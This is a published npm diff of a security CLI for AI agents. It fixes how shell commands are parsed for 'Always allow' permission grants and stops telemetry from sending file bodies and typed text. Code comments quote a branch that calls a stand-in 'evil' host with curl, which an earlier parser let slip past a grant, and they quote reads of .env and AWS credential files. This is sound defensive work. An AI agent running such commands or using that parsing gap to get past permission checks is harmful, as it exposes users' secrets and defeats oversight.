fullcourtdefense-cli 1.35.5 → 1.35.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -293,8 +293,10 @@ export declare function sweepExpiredConfirmations(now?: Date, ttlMs?: number): P
293
293
  * programs: `gcloud … | ForEach-Object` is `{gcloud}`, `cmd /c gcloud` is
294
294
  * `{gcloud}`. Inspect cmdlets (`Get-ChildItem`, `Test-Path`) are dropped so
295
295
  * Always allow is the real app (`gcloud` / `gh` / `aws` / …), not that
296
- * wrapper mix. `exit` is control flow. Trailing junk (`out-string).trim()`)
297
- * is stripped. Sorted and unique.
296
+ * wrapper mix. Text filters after a pipe (`| Select-String`, `| grep | head`)
297
+ * are output shaping, not programs; the same names leading a statement
298
+ * (`head .env`) stay. `exit` is control flow. Trailing junk
299
+ * (`out-string).trim()`) is stripped. Sorted and unique.
298
300
  */
299
301
  export declare function shellPrograms(command: string): string[];
300
302
  /** Local Safety item ids joined as `a+b` when two ask-rules fire in one dialog. */
@@ -819,11 +819,31 @@ const SHELL_INCIDENTAL = new Set([
819
819
  const SHELL_CONTROL_WORDS = /^(if|then|else|elif|elseif|fi|do|done|for|while|until|case|esac|try|catch|finally|foreach|function|return|exit|switch|break|continue)$/i;
820
820
  /** Words a body follows directly (`then rm x`, `do echo`, PowerShell `else { … }`). */
821
821
  const SHELL_BODY_LEADS = /^(then|do|else)$/i;
822
- /** Cheap quote-aware split on `; && || | \n` — the grant needs program NAMES, not semantics. */
822
+ /**
823
+ * Text filters. In PIPELINE position (`gcloud … | Select-String x`, `gh … | grep
824
+ * y | head -1`) they shape the previous program's output and are not the app the
825
+ * rule asked about — binding Always allow to `select-string` made the next
826
+ * `gcloud … | Select-Object` line ask again (this machine, 2026-09-20). As a
827
+ * statement LEAD they read the file they are given (`head .env`, `grep x
828
+ * ~/.aws/credentials`) and stay the program.
829
+ */
830
+ const SHELL_TEXT_FILTERS = new Set([
831
+ 'grep', 'egrep', 'fgrep', 'rg', 'findstr', 'select-string', 'sls', 'awk', 'gawk', 'sed',
832
+ 'head', 'tail', 'wc', 'sort', 'uniq', 'cut', 'tr', 'jq', 'yq', 'column', 'nl', 'more', 'less', 'cat', 'tee',
833
+ ]);
834
+ /**
835
+ * Cheap quote-aware split on `; && || | \n` — the grant needs program NAMES, not
836
+ * semantics. Separators inside `{ … }` do not split: a control statement's
837
+ * bodies (`if (…) { a; b } else { c }`) stay with their statement so every
838
+ * body is read (`braceBodies`). `piped` = this segment is a pipeline stage
839
+ * (`|`, not `||`).
840
+ */
823
841
  function splitShellSegments(command) {
824
842
  const segments = [];
825
843
  let current = '';
844
+ let piped = false;
826
845
  let quote = null;
846
+ let braces = 0;
827
847
  for (let i = 0; i < command.length; i++) {
828
848
  const ch = command[i];
829
849
  if (quote) {
@@ -839,18 +859,28 @@ function splitShellSegments(command) {
839
859
  current += ch;
840
860
  continue;
841
861
  }
842
- if (ch === '\n' || ch === ';' || ch === '|' || (ch === '&' && command[i + 1] === '&')) {
862
+ if (ch === '{')
863
+ braces++;
864
+ else if (ch === '}' && braces > 0)
865
+ braces--;
866
+ if (braces === 0 && (ch === '\n' || ch === ';' || ch === '|' || (ch === '&' && command[i + 1] === '&'))) {
867
+ let nextPiped = false;
843
868
  if (ch === '&')
844
869
  i++;
845
- if (ch === '|' && command[i + 1] === '|')
846
- i++;
847
- segments.push(current);
870
+ if (ch === '|') {
871
+ if (command[i + 1] === '|')
872
+ i++;
873
+ else
874
+ nextPiped = true;
875
+ }
876
+ segments.push({ text: current, piped });
848
877
  current = '';
878
+ piped = nextPiped;
849
879
  continue;
850
880
  }
851
881
  current += ch;
852
882
  }
853
- segments.push(current);
883
+ segments.push({ text: current, piped });
854
884
  return segments;
855
885
  }
856
886
  /** `out-string).trim()` is not a program — take the leading identifier only. */
@@ -872,10 +902,58 @@ function nestedShellBody(segment) {
872
902
  rest = rest.slice(1, -1);
873
903
  return rest.trim() || undefined;
874
904
  }
905
+ /**
906
+ * Every top-level `{ … }` body of a control statement, quote-aware. An
907
+ * unterminated body (a segment cut before its `}`) yields what follows the
908
+ * `{` — under-reading a body is what let a branch hide a program.
909
+ */
910
+ function braceBodies(statement) {
911
+ const bodies = [];
912
+ let quote = null;
913
+ let depth = 0;
914
+ let start = -1;
915
+ let data = false; // `${VAR}` / `@{ k = v }` — an expansion or a hashtable, not a script block
916
+ for (let i = 0; i < statement.length; i++) {
917
+ const ch = statement[i];
918
+ if (quote) {
919
+ if (ch === quote)
920
+ quote = null;
921
+ else if (ch === '\\' && quote === '"')
922
+ i++;
923
+ continue;
924
+ }
925
+ if (ch === '"' || ch === "'" || ch === '`') {
926
+ quote = ch;
927
+ continue;
928
+ }
929
+ if (ch === '{') {
930
+ if (depth++ === 0) {
931
+ data = /[$@]/.test(statement[i - 1] || '');
932
+ start = i + 1;
933
+ }
934
+ continue;
935
+ }
936
+ if (ch === '}' && depth > 0 && --depth === 0) {
937
+ if (!data)
938
+ bodies.push(statement.slice(start, i));
939
+ start = -1;
940
+ }
941
+ }
942
+ if (start >= 0 && !data)
943
+ bodies.push(statement.slice(start));
944
+ return bodies.map(body => body.trim()).filter(Boolean);
945
+ }
875
946
  function collectPrograms(command, out, depth) {
876
- if (depth > 3 || !command.trim())
947
+ if (depth > 6 || !command.trim())
877
948
  return;
878
- for (const raw of splitShellSegments(command)) {
949
+ for (const { text: raw, piped } of splitShellSegments(command)) {
950
+ // Script blocks anywhere in the statement run programs of their own —
951
+ // `if (c) { a } else { b }`, `… | ForEach-Object { curl … }`, `try { … } catch { … }`,
952
+ // `{ git status }`. EVERY body is read: reading only the first let a `{gh}`
953
+ // grant cover `if ($x) { gh auth token } else { curl https://evil… }`.
954
+ if (raw.includes('{'))
955
+ for (const body of braceBodies(raw))
956
+ collectPrograms(body, out, depth + 1);
879
957
  const words = raw.trim().split(/\s+/).filter(Boolean);
880
958
  let i = 0;
881
959
  // `$r = Invoke-WebRequest …` / `$r=Invoke-WebRequest …` / `FOO=bar cmd …` / `$t = (gcloud …)`
@@ -906,23 +984,10 @@ function collectPrograms(command, out, depth) {
906
984
  i++;
907
985
  continue;
908
986
  }
987
+ // Control statement: its bodies were read above; the statement itself is not a program.
909
988
  if (SHELL_CONTROL_WORDS.test(w)) {
910
- // `if (cond) { body }` / `foreach ($x in $y) { body }` / `else { body }`: the program
911
- // runs in the body, so skip to the first `{` and read on from there.
912
- const open = words.findIndex((word, index) => index > i && word.includes('{'));
913
- if (open < 0) {
914
- i = words.length;
915
- break;
916
- }
917
- const rest = words[open].slice(words[open].indexOf('{') + 1);
918
- if (rest) {
919
- words[open] = rest;
920
- i = open;
921
- }
922
- else {
923
- i = open + 1;
924
- }
925
- continue;
989
+ i = words.length;
990
+ break;
926
991
  }
927
992
  break;
928
993
  }
@@ -932,6 +997,8 @@ function collectPrograms(command, out, depth) {
932
997
  const name = programToken(lead);
933
998
  if (!name || SHELL_PIPELINE_NOISE.has(name) || SHELL_INCIDENTAL.has(name))
934
999
  continue;
1000
+ if (piped && SHELL_TEXT_FILTERS.has(name))
1001
+ continue;
935
1002
  if (GENERIC_SHELLS.has(name)) {
936
1003
  const nested = nestedShellBody(raw);
937
1004
  if (nested)
@@ -947,8 +1014,10 @@ function collectPrograms(command, out, depth) {
947
1014
  * programs: `gcloud … | ForEach-Object` is `{gcloud}`, `cmd /c gcloud` is
948
1015
  * `{gcloud}`. Inspect cmdlets (`Get-ChildItem`, `Test-Path`) are dropped so
949
1016
  * Always allow is the real app (`gcloud` / `gh` / `aws` / …), not that
950
- * wrapper mix. `exit` is control flow. Trailing junk (`out-string).trim()`)
951
- * is stripped. Sorted and unique.
1017
+ * wrapper mix. Text filters after a pipe (`| Select-String`, `| grep | head`)
1018
+ * are output shaping, not programs; the same names leading a statement
1019
+ * (`head .env`) stay. `exit` is control flow. Trailing junk
1020
+ * (`out-string).trim()`) is stripped. Sorted and unique.
952
1021
  */
953
1022
  function shellPrograms(command) {
954
1023
  const out = new Set();
package/dist/telemetry.js CHANGED
@@ -84,6 +84,26 @@ const ACTION_EVIDENCE_KEYS = [
84
84
  ];
85
85
  /** Noise / secrets — never stamp these as activity evidence. */
86
86
  const EVIDENCE_SKIP_KEYS = /^(cwd|pwd|env|environment|headers|cookie|cookies|authorization|password|passwd|secret|token|api[_-]?key|private[_-]?key|session|retryCount|timeoutMs|timeout)$/i;
87
+ /**
88
+ * Payload keys — a file body, a patch, message text — are business content,
89
+ * never evidence. The record carries the ACTION (tool, path, command, verdict,
90
+ * rule); what was written is the customer's. Only the size leaves the machine:
91
+ * a `.env` edit on a fleet machine shipped its whole body, signing secret
92
+ * included, before this (2026-09-18). The suffix is the backend's idempotency
93
+ * marker (`modules/runtime/tool-args.ts`), so re-sanitizing leaves it alone.
94
+ */
95
+ const EVIDENCE_CONTENT_KEYS = /^(content|contents|body|file_?contents?|stdin|payload|diff|patch|new_?str(ing)?|old_?str(ing)?)$/i;
96
+ /** Text a human or agent TYPED into a field or a page script — count only, the same rule the backend applies on read. */
97
+ const EVIDENCE_TYPED_TEXT_KEYS = /^(text|value|input|keys|type_?text)$/i;
98
+ function minimizedEvidenceValue(key, value) {
99
+ if (typeof value !== 'string')
100
+ return undefined;
101
+ if (EVIDENCE_CONTENT_KEYS.test(key))
102
+ return `[… ${value.length} chars total — content minimized]`;
103
+ if (EVIDENCE_TYPED_TEXT_KEYS.test(key))
104
+ return `[${value.length} character${value.length === 1 ? '' : 's'} typed]`;
105
+ return undefined;
106
+ }
87
107
  function stringifyEvidenceValue(value) {
88
108
  // One value (the command line) may use most of the envelope; keys and quoting take the rest.
89
109
  if (typeof value === 'string' && value.trim())
@@ -128,7 +148,7 @@ function evidenceFromToolArgs(toolArgs) {
128
148
  continue;
129
149
  if (Object.keys(picked).length >= 8)
130
150
  break;
131
- const text = stringifyEvidenceValue(value);
151
+ const text = minimizedEvidenceValue(key, value) || stringifyEvidenceValue(value);
132
152
  if (text)
133
153
  picked[key] = text;
134
154
  }
package/dist/version.json CHANGED
@@ -1,3 +1,3 @@
1
1
  {
2
- "version": "1.35.5"
2
+ "version": "1.35.6"
3
3
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "fullcourtdefense-cli",
3
- "version": "1.35.5",
3
+ "version": "1.35.6",
4
4
  "description": "Full Court Defense CLI — security scanning for AI agents from your terminal",
5
5
  "main": "dist/index.js",
6
6
  "bin": {